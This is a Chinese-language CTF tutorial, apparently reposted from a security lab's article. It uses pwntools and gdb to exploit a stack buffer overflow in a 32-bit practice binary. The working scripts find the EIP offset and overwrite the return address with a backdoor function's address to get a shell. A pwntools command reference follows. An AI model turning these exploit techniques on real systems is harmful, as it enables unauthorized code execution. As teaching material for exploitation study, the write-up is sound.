PWN学习 - Pwntools实现简单的栈溢出
2022-11-4 21:1:37 Author: 星海安全实验室(查看原文) 阅读量:13 收藏

一、前言

学习CTF的PWN找了一个最简单的程序学习记录一下

首先下载漏洞程序

pwn_level1链接:https://a-new.lanzouw.com/iPXnm0dsft8j

先看一下程序的大概信息

elf 32位 先大概看一下main函数

再看一下vulnerable_function函数

反编译看一下

二、获取控制EIP的位置

新建一个exp1.py写如下代码

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(cyclic(0x100))

p.interactive()

终端跑一下

python3 exp1.py

在pwndbg这个窗口窗口下面输入c,然后回车

看EIP当前执行到了0x65616161,因为栈溢出覆盖到了EIP,但是这个地址不存在

加上一行代码搜一下0x65616161的位置

from pwn import *

p = process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))

print(cyclic_find(0x65616161))# 加上这行代码

p.interactive()

打印出13

也就是我们只要填充13个字符就可以控制EIP了。

也可以在gdb中利用pattern命令来获取需要填充的字符数量

首先gdb加载程序,用命令pattern create 100 来创建一个长度为100的字符串,然后输入r命令运行程序,复制我们刚才生成的字符串输入

回车然后用命令pattern offset 0x65616161获取需要填充的字符个数

搜索结果出来了两个,小端13,大端 16,x86程序是小端的,所以是13,我们也可以用readelf命令确认一下

三、跳转到后门

后门函数,地址是在0x804849A

要执行这个函数,只要填充13个字符,再加上p32(0x804849A)就可以了

最终payload是

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(b'a'*13+p32(0x804849A))

p.interactive()

再运行一下脚本,在pwndbg这个窗口下面输入c,然后回车

在运行脚本那个终端输入ls,可以看到打印了同目录的文件

四、原理

看一下vulnerable_function函数

简单一点我们看ida反汇编的函数

buf的大小是9,read的时候写入buf的数据是0x100,由此出现了溢出,读取的数据覆盖到了EIP就可以控制EIP了,我们对比一下read数据长度小于9和长度大于9的情况就清楚了,这个是输入123456的长度小9,read完返回到main+22

再看一下长度超过9的出现溢出的情况

对比不溢出的栈可以看到原来返回到main+22的地址被覆盖成了aaae也就是0x65616161,只要把这个换成我们要执行的后门函数地址就get shell了。

五、附录

pwntools常用命令

连接

  remote('ip',端口)# 远程  process()# 本地

发送

  send(data) # 发送数据  sendline(data) # 发送一行数据,相当于在数据末尾加\n  sendafter(xxx,data) # 接收到 xxx 之后发送 data

接收

  recv(numb=4096, timeout=default) # 接收指定字节  recvline(keepends=True) # 接收一行,keepends为是否保留行尾的\n  recvuntil(delims, drop=False) # 一直读到 delims 的 pattern 出现为止  recvrepeat(timeout=default) # 持续接受直到EOF或timeout

交互

 interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用

打包解包

 p32()/p64() # 打包一个整数,分别打包为32位或64位 u32()/u64() # 解包一个字符串,得到整数

比如将0xdeadbeef进行32位的打包,将会得到'\xef\xbe\xad\xde'(小端)

payload = p32(0xdeadbeef)payload = p64(0xdeadbeef)

gdb模块

gdb.attach(target, gdbscript = None) # 在一个新终端打开 GDB 并 attach 到指定 PID 的进程,或者一个 pwnlib.tubes 对象

例如

bash = process(‘./bash’)gdb.attach(bash)

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4ODcyODk4MQ==&mid=2247483951&idx=1&sn=aba94efa1b015ea6bf6c1bf128d1c575&chksm=cff7fed5f88077c3bcaaf9acc506a3e2d3bb3f8a02a596ed0f9789ec665fc58c76de741414a7#rd
如有侵权请联系:admin#unsafe.sh